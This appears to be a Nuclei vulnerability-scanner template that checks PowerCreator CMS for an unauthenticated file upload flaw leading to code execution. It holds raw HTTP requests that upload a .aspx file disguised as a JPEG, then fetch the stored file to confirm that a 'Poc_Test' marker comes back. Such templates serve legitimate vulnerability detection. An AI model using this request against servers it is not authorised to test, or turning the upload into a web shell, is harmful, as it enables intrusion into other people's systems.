id: powercreator-cms-rce

info:
  name: PowerCreator CMS RCE
  author: pikpikcu
  severity: critical
  reference: http://www.mstir.cn/index.php/2020/11/18/powercreatorcms-rce/
  tags: rce,powercreator

requests:
  - raw:
      - |
        POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Content-Length: 225
        Content-Disposition: form-data;name="file1";filename="poc.aspx";
        Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136

        -----------------------------20873900192357278038549710136
        Content-Disposition: form-data; name="file1"; filename="poc.aspx"
        Content-Type: image/jpeg

        Poc_Test
        -----------------------------20873900192357278038549710136--

      - |
        GET /ResourcePic/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Accept-Encoding: gzip

    extractors:
      - type: regex
        name: endpoint
        internal: true
        part: body
        regex:
          - "(.*?.ASPX)"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Poc_Test') == true && status_code == 200"